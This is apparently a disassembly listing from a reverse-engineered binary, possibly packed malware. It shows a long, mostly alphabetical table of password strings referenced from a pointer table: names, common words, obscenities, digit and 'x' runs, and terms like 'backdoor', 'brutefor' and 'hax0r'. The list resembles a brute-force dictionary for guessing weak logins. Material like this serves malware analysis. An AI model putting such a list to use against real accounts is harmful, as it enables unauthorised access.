aDisc db 'disc',0 ; DATA XREF: .nsp0:0042CB4Co
align 4
aDirty db 'dirty',0 ; DATA XREF: .nsp0:0042CB48o
align 4
aDirector db 'director',0 ; DATA XREF: .nsp0:0042CB44o
align 10h
aDirect db 'direct',0 ; DATA XREF: .nsp0:0042CB40o
align 4
aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:0042CB3Co
aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:0042CB38o
align 4
aDigital db 'digital',0 ; DATA XREF: .nsp0:0042CB34o
aDieter db 'dieter',0 ; DATA XREF: .nsp0:0042CB30o
align 4
aDiet db 'diet',0 ; DATA XREF: .nsp0:0042CB2Co
align 4
aDiehard db 'diehard',0 ; DATA XREF: .nsp0:0042CB28o
aDick db 'dick',0 ; DATA XREF: .nsp0:0042CB24o
align 4
aDice db 'dice',0 ; DATA XREF: .nsp0:0042CB20o
align 4
aDiane db 'diane',0 ; DATA XREF: .nsp0:0042CB1Co
align 4
aDiana db 'diana',0 ; DATA XREF: .nsp0:0042CB18o
align 4
aDiamond db 'diamond',0 ; DATA XREF: .nsp0:0042CB14o
aDial db 'dial',0 ; DATA XREF: .nsp0:0042CB10o
align 4
aDevice db 'device',0 ; DATA XREF: .nsp0:0042CB0Co
align 4
aDevelop db 'develop',0 ; DATA XREF: .nsp0:0042CB08o
aDesperat db 'desperat',0 ; DATA XREF: .nsp0:0042CB04o
align 4
aDesktop db 'desktop',0 ; DATA XREF: .nsp0:0042CB00o
aDesk db 'desk',0 ; DATA XREF: .nsp0:0042CAFCo
align 4
aDesiree db 'desiree',0 ; DATA XREF: .nsp0:0042CAF8o
aDennis db 'dennis',0 ; DATA XREF: .nsp0:0042CAF4o
align 4
aDenise db 'denise',0 ; DATA XREF: .nsp0:0042CAF0o
align 10h
aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:0042CAECo
align 4
aDeluge db 'deluge',0 ; DATA XREF: .nsp0:0042CAE8o
align 4
aDelta db 'delta',0 ; DATA XREF: .nsp0:0042CAE4o
align 4
aDefoe db 'defoe',0 ; DATA XREF: .nsp0:0042CAE0o
align 4
aDefault_0 db 'DEFAULT',0 ; DATA XREF: .nsp0:0042CADCo
aDeck db 'deck',0 ; DATA XREF: .nsp0:0042CAD4o
align 4
aDecember db 'december',0 ; DATA XREF: .nsp0:0042CAD0o
align 10h
aDebug db 'debug',0 ; DATA XREF: .nsp0:0042CACCo
align 4
aDeborah db 'deborah',0 ; DATA XREF: .nsp0:0042CAC8o
aDebbie db 'debbie',0 ; DATA XREF: .nsp0:0042CAC4o
align 4
aDeathsta db 'deathsta',0 ; DATA XREF: .nsp0:0042CAC0o
align 4
aDead db 'dead',0 ; DATA XREF: .nsp0:0042CABCo
align 4
aDawn db 'dawn',0 ; DATA XREF: .nsp0:0042CAB8o
align 4
aDave db 'dave',0 ; DATA XREF: .nsp0:0042CAB4o
align 4
aData db 'data',0 ; DATA XREF: .nsp0:0042CAB0o
align 4
aDarkaven db 'darkaven',0 ; DATA XREF: .nsp0:0042CAACo
align 10h
aDark db 'dark',0 ; DATA XREF: .nsp0:0042CAA8o
align 4
aDapper db 'dapper',0 ; DATA XREF: .nsp0:0042CAA4o
align 10h
aDanny db 'danny',0 ; DATA XREF: .nsp0:0042CAA0o
align 4
aDanielle db 'danielle',0 ; DATA XREF: .nsp0:0042CA9Co
align 4
aDaniel db 'daniel',0 ; DATA XREF: .nsp0:0042CA98o
align 4
aDancer db 'dancer',0 ; DATA XREF: .nsp0:0042CA94o
align 4
aDana db 'dana',0 ; DATA XREF: .nsp0:0042CA90o
align 4
aDaisy db 'daisy',0 ; DATA XREF: .nsp0:0042CA8Co
align 4
aDaemon db 'daemon',0 ; DATA XREF: .nsp0:0042CA88o
align 4
aCynthia db 'cynthia',0 ; DATA XREF: .nsp0:0042CA84o
aCyberspa db 'cyberspa',0 ; DATA XREF: .nsp0:0042CA80o
align 10h
aCyberpun db 'cyberpun',0 ; DATA XREF: .nsp0:0042CA7Co
align 4
aCyber db 'cyber',0 ; DATA XREF: .nsp0:0042CA78o
align 4
aCustomer db 'customer',0 ; DATA XREF: .nsp0:0042CA74o
align 10h
aCunt db 'cunt',0 ; DATA XREF: .nsp0:0042CA70o
align 4
aCshrc db 'cshrc',0 ; DATA XREF: .nsp0:0042CA6Co
align 10h
aCrystal db 'crystal',0 ; DATA XREF: .nsp0:0042CA68o
aCristina db 'cristina',0 ; DATA XREF: .nsp0:0042CA64o
align 4
aCriminal db 'criminal',0 ; DATA XREF: .nsp0:0042CA60o
align 10h
aCrime db 'crime',0 ; DATA XREF: .nsp0:0042CA5Co
align 4
aCretin db 'cretin',0 ; DATA XREF: .nsp0:0042CA58o
align 10h
aCreosote db 'creosote',0 ; DATA XREF: .nsp0:0042CA54o
align 4
aCredit db 'credit',0 ; DATA XREF: .nsp0:0042CA50o
align 4
aCreature db 'creature',0 ; DATA XREF: .nsp0:0042CA4Co
align 10h
aCreation db 'creation',0 ; DATA XREF: .nsp0:0042CA48o
align 4
aCreate db 'create',0 ; DATA XREF: .nsp0:0042CA44o
align 4
aCream db 'cream',0 ; DATA XREF: .nsp0:0042CA40o
align 4
aCrackpot db 'crackpot',0 ; DATA XREF: .nsp0:0042CA3Co
align 4
aCrack db 'crack',0 ; DATA XREF: .nsp0:0042CA38o
align 10h
aCowboy db 'cowboy',0 ; DATA XREF: .nsp0:0042CA34o
align 4
aCouscous db 'couscous',0 ; DATA XREF: .nsp0:0042CA30o
align 4
aCountry db 'country',0 ; DATA XREF: .nsp0:0042CA2Co
aCounters db 'counters',0 ; DATA XREF: .nsp0:0042CA28o
align 4
aCorrect db 'correct',0 ; DATA XREF: .nsp0:0042CA24o
aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0042CA20o
align 4
aCopy db 'copy',0 ; DATA XREF: .nsp0:0042CA1Co
align 4
aCops db 'cops',0 ; DATA XREF: .nsp0:0042CA18o
align 4
aCopper db 'copper',0 ; DATA XREF: .nsp0:0042CA14o
align 4
aCooper db 'cooper',0 ; DATA XREF: .nsp0:0042CA10o
align 4
aCool db 'cool',0 ; DATA XREF: .nsp0:0042CA0Co
align 4
aCookie db 'cookie',0 ; DATA XREF: .nsp0:0042CA08o
align 4
aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0042CA04o
align 4
aCook db 'cook',0 ; DATA XREF: .nsp0:0042CA00o
align 10h
aContinue db 'continue',0 ; DATA XREF: sub_40CE55+1F88o
; .nsp0:0042C9FCo
align 4
aConsole db 'console',0 ; DATA XREF: .nsp0:0042C9F8o
aConserva db 'conserva',0 ; DATA XREF: .nsp0:0042C9F4o
align 10h
aConnie db 'connie',0 ; DATA XREF: .nsp0:0042C9F0o
align 4
aCondom db 'condom',0 ; DATA XREF: .nsp0:0042C9E8o
align 10h
aCondo db 'condo',0 ; DATA XREF: .nsp0:0042C9E4o
align 4
aComrades db 'comrades',0 ; DATA XREF: .nsp0:0042C9E0o
align 4
aComrade db 'comrade',0 ; DATA XREF: .nsp0:0042C9DCo
aComputin db 'computin',0 ; DATA XREF: .nsp0:0042C9D8o
align 4
aCompany db 'company',0 ; DATA XREF: .nsp0:0042C9D4o
aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0042C9D0o
align 4
aCommit db 'commit',0 ; DATA XREF: .nsp0:0042C9CCo
align 4
aComics db 'comics',0 ; DATA XREF: .nsp0:0042C9C8o
align 4
aCombat db 'combat',0 ; DATA XREF: .nsp0:0042C9C4o
align 4
aColor db 'color',0 ; DATA XREF: .nsp0:0042C9C0o
align 4
aCollins db 'collins',0 ; DATA XREF: .nsp0:0042C9BCo
aCold db 'cold',0 ; DATA XREF: .nsp0:0042C9B8o
align 4
aCola db 'cola',0 ; DATA XREF: .nsp0:0042C9B4o
align 4
aCoke db 'coke',0 ; DATA XREF: .nsp0:0042C9B0o
align 4
aCoin db 'coin',0 ; DATA XREF: .nsp0:0042C9ACo
align 4
aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0042C9A8o
align 4
aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0042C9A4o
align 4
aCodename db 'codename',0 ; DATA XREF: .nsp0:0042C9A0o
align 4
aCode db 'code',0 ; DATA XREF: .nsp0:0042C99Co
align 4
aCock db 'cock',0 ; DATA XREF: .nsp0:0042C998o
align 4
aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0042C994o
align 10h
aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0042C990o
align 4
aCoast db 'coast',0 ; DATA XREF: .nsp0:0042C98Co
align 4
aClusters db 'clusters',0 ; DATA XREF: .nsp0:0042C988o
align 10h
aCluster db 'cluster',0 ; DATA XREF: .nsp0:0042C984o
aClinton db 'clinton',0 ; DATA XREF: .nsp0:0042C980o
aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0042C97Co
align 4
aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0042C978o
align 4
aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0042C974o
aClassic db 'classic',0 ; DATA XREF: .nsp0:0042C970o
aClasses db 'classes',0 ; DATA XREF: .nsp0:0042C96Co
aClass db 'class',0 ; DATA XREF: .nsp0:0042C968o
align 4
aCindy db 'cindy',0 ; DATA XREF: .nsp0:0042C964o
align 10h
aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0042C960o
align 4
aCigar db 'cigar',0 ; DATA XREF: .nsp0:0042C95Co
align 4
aChristy db 'christy',0 ; DATA XREF: .nsp0:0042C958o
aChristin db 'christin',0 ; DATA XREF: .nsp0:0042C954o
align 4
aChris db 'chris',0 ; DATA XREF: .nsp0:0042C950o
align 10h
aChip db 'chip',0 ; DATA XREF: .nsp0:0042C94Co
align 4
aChester db 'chester',0 ; DATA XREF: .nsp0:0042C948o
aChess db 'chess',0 ; DATA XREF: .nsp0:0042C944o
align 4
aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0042C940o
align 4
aChem db 'chem',0 ; DATA XREF: .nsp0:0042C93Co
align 4
aChat_0 db 'chat',0 ; DATA XREF: .nsp0:0042C938o
align 4
aCharon db 'charon',0 ; DATA XREF: .nsp0:0042C934o
align 4
aCharming db 'charming',0 ; DATA XREF: .nsp0:0042C930o
align 4
aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0042C92Co
aCharles db 'charles',0 ; DATA XREF: .nsp0:0042C928o
aCharity db 'charity',0 ; DATA XREF: .nsp0:0042C924o
aChange db 'change',0 ; DATA XREF: .nsp0:0042C920o
align 4
aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0042C91Co
align 4
aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0042C918o
aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0042C914o
align 4
aCelt db 'celt',0 ; DATA XREF: .nsp0:0042C910o
align 4
aCecily db 'cecily',0 ; DATA XREF: .nsp0:0042C90Co
align 4
aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0042C908o
align 4
aCave db 'cave',0 ; DATA XREF: .nsp0:0042C904o
align 4
aCathy db 'cathy',0 ; DATA XREF: .nsp0:0042C900o
align 4
aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0042C8FCo
align 4
aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0042C8F8o
align 4
aCastle db 'castle',0 ; DATA XREF: .nsp0:0042C8F4o
align 4
aCash db 'cash',0 ; DATA XREF: .nsp0:0042C8F0o
align 4
aCascades db 'cascades',0 ; DATA XREF: .nsp0:0042C8ECo
align 10h
aCarson db 'carson',0 ; DATA XREF: .nsp0:0042C8E8o
align 4
aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0042C8E4o
align 10h
aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0042C8E0o
align 4
aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0042C8DCo
align 4
aCarole db 'carole',0 ; DATA XREF: .nsp0:0042C8D8o
align 10h
aCarol db 'carol',0 ; DATA XREF: .nsp0:0042C8D4o
align 4
aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0042C8D0o
align 10h
aCarla db 'carla',0 ; DATA XREF: .nsp0:0042C8CCo
align 4
aCaren db 'caren',0 ; DATA XREF: .nsp0:0042C8C8o
align 10h
aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0042C8C4o
align 4
aCard db 'card',0 ; DATA XREF: .nsp0:0042C8C0o
align 4
aCapture db 'capture',0 ; DATA XREF: .nsp0:0042C8BCo
aCaptain db 'captain',0 ; DATA XREF: .nsp0:0042C8B8o
aCantor db 'cantor',0 ; DATA XREF: .nsp0:0042C8B4o
align 4
aCandy db 'candy',0 ; DATA XREF: .nsp0:0042C8B0o
align 4
aCandi db 'candi',0 ; DATA XREF: .nsp0:0042C8ACo
align 4
aCamping db 'camping',0 ; DATA XREF: .nsp0:0042C8A8o
aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0042C8A4o
align 10h
aCamille db 'camille',0 ; DATA XREF: .nsp0:0042C8A0o
aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0042C89Co
align 4
aButthead db 'butthead',0 ; DATA XREF: .nsp0:0042C898o
align 10h
aButt db 'butt',0 ; DATA XREF: .nsp0:0042C894o
align 4
aButch db 'butch',0 ; DATA XREF: .nsp0:0042C890o
align 10h
aBurn db 'burn',0 ; DATA XREF: .nsp0:0042C88Co
align 4
aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0042C888o
aBung db 'bung',0 ; DATA XREF: .nsp0:0042C884o
align 4
aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0042C880o
align 4
aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0042C87Co
align 10h
aBulls db 'bulls',0 ; DATA XREF: .nsp0:0042C878o
align 4
aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0042C874o
align 4
aBrute db 'brute',0 ; DATA XREF: .nsp0:0042C870o
align 4
aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0042C86Co
align 4
aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0042C868o
aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0042C864o
align 4
aBridget db 'bridget',0 ; DATA XREF: .nsp0:0042C860o
aBrian db 'brian',0 ; DATA XREF: .nsp0:0042C85Co
align 4
aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0042C858o
align 4
aBreast db 'breast',0 ; DATA XREF: .nsp0:0042C854o
align 4
aBreak db 'break',0 ; DATA XREF: .nsp0:0042C850o
align 4
aBravo db 'bravo',0 ; DATA XREF: .nsp0:0042C84Co
align 4
aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0042C848o
align 4
aBrandi db 'brandi',0 ; DATA XREF: .nsp0:0042C844o
align 4
aBradley db 'bradley',0 ; DATA XREF: .nsp0:0042C840o
aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0042C83Co
align 10h
aBorn db 'born',0 ; DATA XREF: .nsp0:0042C838o
align 4
aBook db 'book',0 ; DATA XREF: .nsp0:0042C834o
align 10h
aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0042C830o
align 4
aBoob db 'boob',0 ; DATA XREF: .nsp0:0042C82Co
align 10h
aBoner db 'boner',0 ; DATA XREF: .nsp0:0042C828o
align 4
aBomb db 'bomb',0 ; DATA XREF: .nsp0:0042C824o
align 10h
aBoard db 'board',0 ; DATA XREF: .nsp0:0042C820o
align 4
aBlues db 'blues',0 ; DATA XREF: .nsp0:0042C81Co
align 10h
aBlue db 'blue',0 ; DATA XREF: .nsp0:0042C818o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0042C814o
aBlow db 'blow',0 ; DATA XREF: .nsp0:0042C810o
align 4
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0042C80Co
align 4
aBlood db 'blood',0 ; DATA XREF: .nsp0:0042C808o
align 4
aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0042C804o
aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0042C800o
align 4
aBlack db 'black',0 ; DATA XREF: .nsp0:0042C7FCo
align 4
aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0042C7F8o
align 4
aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0042C7F4o
align 4
aBitch db 'bitch',0 ; DATA XREF: .nsp0:0042C7F0o
align 4
aBishop db 'bishop',0 ; DATA XREF: .nsp0:0042C7ECo
align 4
aBird db 'bird',0 ; DATA XREF: .nsp0:0042C7E8o
align 4
aBios db 'bios',0 ; DATA XREF: .nsp0:0042C7E4o
align 4
aBinary db 'binary',0 ; DATA XREF: .nsp0:0042C7E0o
align 4
aBill db 'bill',0 ; DATA XREF: .nsp0:0042C7DCo
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0042C7D8o
aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0042C7D4o
align 4
aBible db 'bible',0 ; DATA XREF: .nsp0:0042C7D0o
align 10h
aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0042C7CCo
aBetty db 'betty',0 ; DATA XREF: .nsp0:0042C7C8o
align 10h
aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0042C7C4o
align 4
aBeth db 'beth',0 ; DATA XREF: .nsp0:0042C7C0o
align 10h
aBeta db 'beta',0 ; DATA XREF: .nsp0:0042C7BCo
align 4
aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0042C7B8o
align 10h
aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0042C7B4o
align 4
aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0042C7B0o
align 4
aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0042C7ACo
align 10h
aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0042C7A8o
aBenz db 'benz',0 ; DATA XREF: .nsp0:0042C7A4o
align 10h
aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0042C7A0o
aBell db 'bell',0 ; DATA XREF: .nsp0:0042C79Co
align 10h
aBehead db 'behead',0 ; DATA XREF: .nsp0:0042C798o
align 4
aBegin db 'begin',0 ; DATA XREF: .nsp0:0042C794o
align 10h
aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0042C790o
align 4
aBecky db 'becky',0 ; DATA XREF: .nsp0:0042C78Co
align 4
aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0042C788o
align 4
aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0042C784o
align 4
aBeater db 'beater',0 ; DATA XREF: .nsp0:0042C780o
align 4
aBeast db 'beast',0 ; DATA XREF: .nsp0:0042C77Co
align 4
aBear db 'bear',0 ; DATA XREF: .nsp0:0042C778o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0042C774o
align 4
aBeach db 'beach',0 ; DATA XREF: .nsp0:0042C770o
align 10h
aBatman db 'batman',0 ; DATA XREF: .nsp0:0042C76Co
align 4
aBatch db 'batch',0 ; DATA XREF: .nsp0:0042C768o
align 10h
aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0042C764o
aBass db 'bass',0 ; DATA XREF: .nsp0:0042C760o
align 10h
aBasic db 'basic',0 ; DATA XREF: .nsp0:0042C75Co
align 4
aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0042C758o
align 4
aBartman db 'bartman',0 ; DATA XREF: .nsp0:0042C754o
aBart db 'bart',0 ; DATA XREF: .nsp0:0042C750o
align 4
aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0042C74Co
align 10h
aBarf db 'barf',0 ; DATA XREF: .nsp0:0042C748o
align 4
aBare db 'bare',0 ; DATA XREF: .nsp0:0042C744o
align 10h
aBarber db 'barber',0 ; DATA XREF: .nsp0:0042C740o
align 4
aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0042C73Co
aBanks db 'banks',0 ; DATA XREF: .nsp0:0042C738o
align 4
aBank db 'bank',0 ; DATA XREF: .nsp0:0042C734o
align 10h
aBandit db 'bandit',0 ; DATA XREF: .nsp0:0042C730o
align 4
aBananas db 'bananas',0 ; DATA XREF: .nsp0:0042C72Co
aBanana db 'banana',0 ; DATA XREF: .nsp0:0042C728o
align 4
aBall db 'ball',0 ; DATA XREF: .nsp0:0042C724o
align 10h
aBailey db 'bailey',0 ; DATA XREF: .nsp0:0042C720o
align 4
aBadass db 'badass',0 ; DATA XREF: .nsp0:0042C71Co
align 10h
aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0042C718o
align 4
aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0042C714o
aBaby db 'baby',0 ; DATA XREF: .nsp0:0042C710o
align 4
aBabe db 'babe',0 ; DATA XREF: .nsp0:0042C70Co
align 4
aAzure db 'azure',0 ; DATA XREF: .nsp0:0042C708o
align 4
aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0042C704o
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0042C700o
align 10h
aAttack db 'attack',0 ; DATA XREF: .nsp0:0042C6FCo
align 4
aAtom db 'atom',0 ; DATA XREF: .nsp0:0042C6F8o
align 10h
aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0042C6F4o
align 4
aAthena db 'athena',0 ; DATA XREF: .nsp0:0042C6F0o
align 4
aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0042C6ECo
aAsian db 'asian',0 ; DATA XREF: .nsp0:0042C6E8o
align 4
aArtist db 'artist',0 ; DATA XREF: .nsp0:0042C6E4o
align 4
aArthur db 'arthur',0 ; DATA XREF: .nsp0:0042C6E0o
align 4
aArrow db 'arrow',0 ; DATA XREF: .nsp0:0042C6DCo
align 4
aArmy db 'army',0 ; DATA XREF: .nsp0:0042C6D8o
align 4
aArlene db 'arlene',0 ; DATA XREF: .nsp0:0042C6D4o
align 4
aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0042C6D0o
aAria db 'aria',0 ; DATA XREF: .nsp0:0042C6CCo
align 4
aApril db 'april',0 ; DATA XREF: .nsp0:0042C6C8o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0042C6C4o
align 10h
aAnything db 'anything',0 ; DATA XREF: .nsp0:0042C6C0o
align 4
aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0042C6BCo
align 4
aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0042C6B8o
align 10h
aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0042C6B4o
aAnswer db 'answer',0 ; DATA XREF: .nsp0:0042C6B0o
align 10h
aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0042C6ACo
align 4
aAnon db 'anon',0 ; DATA XREF: .nsp0:0042C6A8o
align 4
aAnnette db 'annette',0 ; DATA XREF: .nsp0:0042C6A4o
aAnne db 'anne',0 ; DATA XREF: .nsp0:0042C6A0o
align 4
aAnna db 'anna',0 ; DATA XREF: .nsp0:0042C69Co
align 4
aAnita db 'anita',0 ; DATA XREF: .nsp0:0042C698o
align 4
aAnimals db 'animals',0 ; DATA XREF: .nsp0:0042C694o
aAnimal db 'animal',0 ; DATA XREF: .nsp0:0042C690o
align 4
aAngie db 'angie',0 ; DATA XREF: .nsp0:0042C68Co
align 4
aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0042C688o
align 4
aAngela db 'angela',0 ; DATA XREF: .nsp0:0042C684o
align 10h
aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0042C680o
align 4
aAndy db 'andy',0 ; DATA XREF: .nsp0:0042C67Co
align 10h
aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0042C678o
align 4
aAndroid db 'android',0 ; DATA XREF: .nsp0:0042C674o
aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0042C670o
align 4
aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0042C66Co
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0042C668o
aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0042C664o
align 4
aAnalog db 'analog',0 ; DATA XREF: .nsp0:0042C660o
align 10h
aAnal db 'anal',0 ; DATA XREF: .nsp0:0042C65Co
align 4
aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0042C658o
align 4
aAmerica db 'america',0 ; DATA XREF: .nsp0:0042C654o
aAmber db 'amber',0 ; DATA XREF: .nsp0:0042C650o
align 4
aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0042C64Co
align 4
aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0042C648o
aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0042C644o
align 10h
aAllow db 'allow',0 ; DATA XREF: .nsp0:0042C640o
align 4
aAllison db 'allison',0 ; DATA XREF: .nsp0:0042C63Co
aAlison db 'alison',0 ; DATA XREF: .nsp0:0042C638o
align 4
aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0042C634o
align 10h
aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0042C630o
align 4
aAlice db 'alice',0 ; DATA XREF: .nsp0:0042C62Co
align 10h
aAliases db 'aliases',0 ; DATA XREF: .nsp0:0042C628o
aAlias db 'alias',0 ; DATA XREF: .nsp0:0042C624o
align 10h
aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0042C620o
aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0042C61Co
align 4
aAlex db 'alex',0 ; DATA XREF: .nsp0:0042C618o
align 4
aAlert db 'alert',0 ; DATA XREF: .nsp0:0042C614o
align 4
aAlbert db 'albert',0 ; DATA XREF: .nsp0:0042C610o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0042C60Co
align 4
aAlbany db 'albany',0 ; DATA XREF: .nsp0:0042C608o
align 10h
aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0042C604o
align 4
aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0042C600o
align 4
aAids db 'aids',0 ; DATA XREF: .nsp0:0042C5FCo
align 4
aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0042C5F8o
align 4
aAdult db 'adult',0 ; DATA XREF: .nsp0:0042C5F4o
align 10h
aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0042C5F0o
align 4
aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0042C5ECo
align 4
aAdam db 'adam',0 ; DATA XREF: .nsp0:0042C5E8o
align 4
aAction db 'action',0 ; DATA XREF: .nsp0:0042C5E4o
align 4
aAccount db 'account',0 ; DATA XREF: .nsp0:0042C5E0o
aAcademic db 'academic',0 ; DATA XREF: .nsp0:0042C5D8o
align 4
aAcademia db 'academia',0 ; DATA XREF: .nsp0:0042C5D4o
align 4
a000000 db '000000',0 ; DATA XREF: .nsp0:0042C5D0o
; .nsp0:0042DFE8o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:0042C5CCo
; .nsp0:0042DFE4o
align 4
a0000 db '0000',0 ; DATA XREF: .nsp0:0042C5C8o
; .nsp0:0042DFE0o
align 4
a000 db '000',0 ; DATA XREF: .nsp0:0042C5C4o
; .nsp0:0042DFDCo
aTesting db 'testing',0 ; DATA XREF: .nsp0:0042C5C0o
aDeath db 'death',0 ; DATA XREF: .nsp0:0042C5BCo
align 10h
a00 db '00',0 ; DATA XREF: .nsp0:0042C5B8o
; .nsp0:0042DFD8o
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0042C5B0o
; .nsp0:0042E428o
align 10h
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0042C5ACo
; .nsp0:0042E424o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0042C5A8o
; .nsp0:0042E420o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0042C5A4o
; .nsp0:0042E41Co
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0042C5A0o
; .nsp0:0042E418o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0042C59Co
; .nsp0:0042E414o
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:0042C598o
; .nsp0:0042E410o
aXx db 'xx',0 ; DATA XREF: .nsp0:0042C594o
; .nsp0:0042E40Co
align 4
asc_432C64: ; DATA XREF: .nsp0:0042C590o
; .nsp0:0042E408o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0042C58Co
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0042C588o
align 10h
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0042C584o
align 10h
aMirc_0 db 'mirc',0 ; DATA XREF: .nsp0:0042C580o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0042C57Co
align 10h
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0042C578o
align 10h
aScript db 'script',0 ; DATA XREF: .nsp0:0042C574o
align 4
aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0042C570o
align 10h
aHacker db 'hacker',0 ; DATA XREF: .nsp0:0042C56Co
align 4
aL337 db 'l337',0 ; DATA XREF: .nsp0:0042C568o
align 10h
aL33t db 'l33t',0 ; DATA XREF: .nsp0:0042C564o
align 4
aLeet db 'leet',0 ; DATA XREF: .nsp0:0042C560o
align 10h
aKiller db 'killer',0 ; DATA XREF: .nsp0:0042C55Co
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: .nsp0:0042C558o
; .nsp0:0042E044o
align 10h
aW00t db 'w00t',0 ; DATA XREF: .nsp0:0042C554o
align 4
aHeaven db 'heaven',0 ; DATA XREF: .nsp0:0042C550o
align 10h
aSpaceman db 'spaceman',0 ; DATA XREF: .nsp0:0042C54Co
align 4
aSatanic db 'satanic',0 ; DATA XREF: .nsp0:0042C548o
